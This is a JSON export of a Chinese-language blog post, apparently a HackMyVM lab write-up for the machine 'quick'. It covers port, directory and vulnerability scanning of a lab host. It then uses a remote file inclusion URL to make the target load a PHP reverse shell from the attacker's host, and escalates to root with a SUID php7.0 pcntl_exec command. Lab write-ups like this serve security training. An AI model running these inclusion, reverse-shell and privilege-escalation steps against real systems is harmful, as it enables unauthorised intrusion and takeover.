{"id":433,"date":"2024-03-21T01:44:02","date_gmt":"2024-03-20T17:44:02","guid":{"rendered":"http:\/\/162.14.82.114\/?p=433"},"modified":"2024-03-21T01:44:02","modified_gmt":"2024-03-20T17:44:02","slug":"hmv-_-quick","status":"publish","type":"post","link":"http:\/\/162.14.82.114\/index.php\/433\/03\/21\/2024\/","title":{"rendered":"hmv[-_-]quick"},"content":{"rendered":"

quick<\/h1>\n

\"image-20240317144102239\"<\/div><\/p>\n

\u626b\u63cf\u4e00\u4e0b\uff1a<\/p>\n

\"image-20240321010459945\"<\/div><\/p>\n

\u9614\u4ee5\uff01<\/p>\n

\u4fe1\u606f\u641c\u96c6<\/h2>\n

\u7aef\u53e3\u626b\u63cf<\/h3>\n
sudo nmap -Pn 10.0.2.8<\/code><\/pre>\n
PORT   STATE SERVICE\n80\/tcp open  http\nMAC Address: 08:00:27:41:D3:56 (Oracle VirtualBox virtual NIC)<\/code><\/pre>\n
nmap -sV -sT -T4 -p- 10.0.2.8<\/code><\/pre>\n
PORT   STATE SERVICE VERSION\n80\/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))<\/code><\/pre>\n
\u770b\u6765\u771f\u6ca1\u4e1c\u897f\u4e86\u3002<\/p>\n
\u76ee\u5f55\u626b\u63cf<\/h3>\n
feroxbuster -u http:\/\/10.0.2.8<\/code><\/pre>\n
301      GET        9l       28w      305c http:\/\/10.0.2.8\/images => http:\/\/10.0.2.8\/images\/\n200      GET       88l      342w     3735c http:\/\/10.0.2.8\/index.php\n200      GET      314l     2467w   220000c http:\/\/10.0.2.8\/images\/logo.png\n200      GET     2190l    12161w   863176c http:\/\/10.0.2.8\/images\/joe.jpeg\n200      GET     2740l    14581w  1058919c http:\/\/10.0.2.8\/images\/jane.jpeg\n200      GET      134l      799w    59813c http:\/\/10.0.2.8\/images\/pexels-adrian-newell-6968984.jpg\n200      GET      255l     1417w   103988c http:\/\/10.0.2.8\/images\/pexels-mike-bird-190537.jpg\n200      GET      261l      453w     4038c http:\/\/10.0.2.8\/styles.css\n200      GET       88l      342w     3735c http:\/\/10.0.2.8\/\n200      GET     1795l    10935w   818584c http:\/\/10.0.2.8\/images\/pexels-pixabay-38570.jpg\n200      GET      157l      983w    66146c http:\/\/10.0.2.8\/images\/pexels-ishan-kulshrestha-9334971.jpg<\/code><\/pre>\n
\u4ee5\u9632\u4e07\u4e00FUZZ<\/code>\u4e00\u4e0b\uff1a<\/p>\n
ffuf -u http:\/\/10.0.2.8\/FUZZ -w \/usr\/share\/seclists\/Discovery\/Web-Content\/raft-medium-directories-lowercase.txt<\/code><\/pre>\n
images                  [Status: 301, Size: 305, Words: 20, Lines: 10, Duration: 115ms]\nserver-status           [Status: 403, Size: 273, Words: 20, Lines: 10, Duration: 0ms]<\/code><\/pre>\n
\u6ca1\u5565\u4e1c\u897f\u4e86\uff0c\u5f00\u64a4\uff01<\/p>\n
\u6f0f\u6d1e\u626b\u63cf<\/h3>\n
nikto -h http:\/\/10.0.2.8<\/code><\/pre>\n
- Nikto v2.5.0\n---------------------------------------------------------------------------\n+ Target IP:          10.0.2.8\n+ Target Hostname:    10.0.2.8\n+ Target Port:        80\n+ Start Time:         2024-03-20 13:20:16 (GMT-4)\n---------------------------------------------------------------------------\n+ Server: Apache\/2.4.41 (Ubuntu)\n+ \/: The anti-clickjacking X-Frame-Options header is not present. See: https:\/\/developer.mozilla.org\/en-US\/docs\/Web\/HTTP\/Headers\/X-Frame-Options\n+ \/: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https:\/\/www.netsparker.com\/web-vulnerability-scanner\/vulnerabilities\/missing-content-type-header\/\n+ No CGI Directories found (use '-C all' to force check all possible dirs)\n+ \/images: IP address found in the 'location' header. The IP is "127.0.1.1". See: https:\/\/portswigger.net\/kb\/issues\/00600300_private-ip-addresses-disclosed\n+ \/images: The web server may reveal its internal or real IP in the Location header via a request to with HTTP\/1.0. The value is "127.0.1.1". See: http:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2000-0649\n+ Apache\/2.4.41 appears to be outdated (current is at least Apache\/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.\n+ \/: Web Server returns a valid response with junk HTTP methods which may cause false positives.\n+ \/images\/: Directory indexing found.\n+ \/index.php: Output from the phpinfo() function was found.\n+ \/index.php?page=http:\/\/blog.cirt.net\/rfiinc.txt?: Remote File Inclusion (RFI) from RSnake's RFI list. See: https:\/\/gist.github.com\/mubix\/5d269c686584875015a2\n+ 8102 requests: 0 error(s) and 9 item(s) reported on remote host\n+ End Time:           2024-03-20 13:20:33 (GMT-4) (17 seconds)\n---------------------------------------------------------------------------\n+ 1 host(s) tested<\/code><\/pre>\n
\u6f0f\u6d1e\u5229\u7528<\/h2>\n
RFI\u6f0f\u6d1e\u5229\u7528<\/h3>\n
\u626b\u51fa\u6765\u4e86\u4e00\u4e2aRFI<\/code>\u6f0f\u6d1e\uff1a<\/p>\n
http:\/\/10.0.2.8\/index.php?page=http:\/\/10.0.2.4:8888\/webshell<\/code><\/pre>\n
\"image-20240321013444703\"<\/div><\/p>\n
# head webshell.php\n<?php\n  \/\/ php-reverse-shell - A Reverse Shell implementation in PHP\n  \/\/ Copyright (C) 2007 pentestmonkey@pentestmonkey.net\n\n  set_time_limit (0);\n  $VERSION = "1.0";\n  $ip = '10.0.2.8';  \/\/ You have changed this\n  $port = 1234;  \/\/ And this\n  $chunk_size = 1400;<\/code><\/pre>\n
\n
\u5b9e\u9645\u4e0a\uff0c\u5c31\u7b97\u6ca1\u6709\u6253\u5168\uff0c\u53ea\u6253\u524d\u51e0\u4e2a\u5b57\u6bcd\uff0c\u4e5f\u53ef\u4ee5\u8bf7\u6c42\u5230\u6b63\u786e\u7684\u6587\u4ef6\uff01<\/p>\n<\/blockquote>\n
\u63d0\u6743<\/h2>\n
\u6269\u5c55shell<\/h3>\n
python3 -c 'import pty;pty.spawn("\/bin\/bash")'<\/code><\/pre>\n
\u53d1\u73b0suid\u6f0f\u6d1e<\/h3>\n
\"image-20240321013843945\"<\/div><\/p>\n
\u8fd9\u4e2aphp7.0<\/code>\u660e\u663e\u6709suid\uff1ahttps:\/\/gtfobins.github.io\/gtfobins\/php\/<\/a><\/p>\n
\/usr\/bin\/php7.0 -r "pcntl_exec('\/bin\/sh', ['-p']);"<\/code><\/pre>\n
\u5bfb\u627eflag<\/h3>\n
\"image-20240321014151243\"<\/div>
\n
\"image-20240321014203052\"<\/div><\/p>\n","protected":false},"excerpt":{"rendered":"
quick \u626b\u63cf\u4e00\u4e0b\uff1a \u9614\u4ee5\uff01 \u4fe1\u606f\u641c\u96c6 \u7aef\u53e3\u626b\u63cf sudo nmap -Pn 10.0.2.8 PORT S […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,24,18],"tags":[],"class_list":["post-433","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-penetration-test","category-web"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/433","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=433"}],"version-history":[{"count":1,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/433\/revisions"}],"predecessor-version":[{"id":434,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/433\/revisions\/434"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=433"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=433"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=433"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}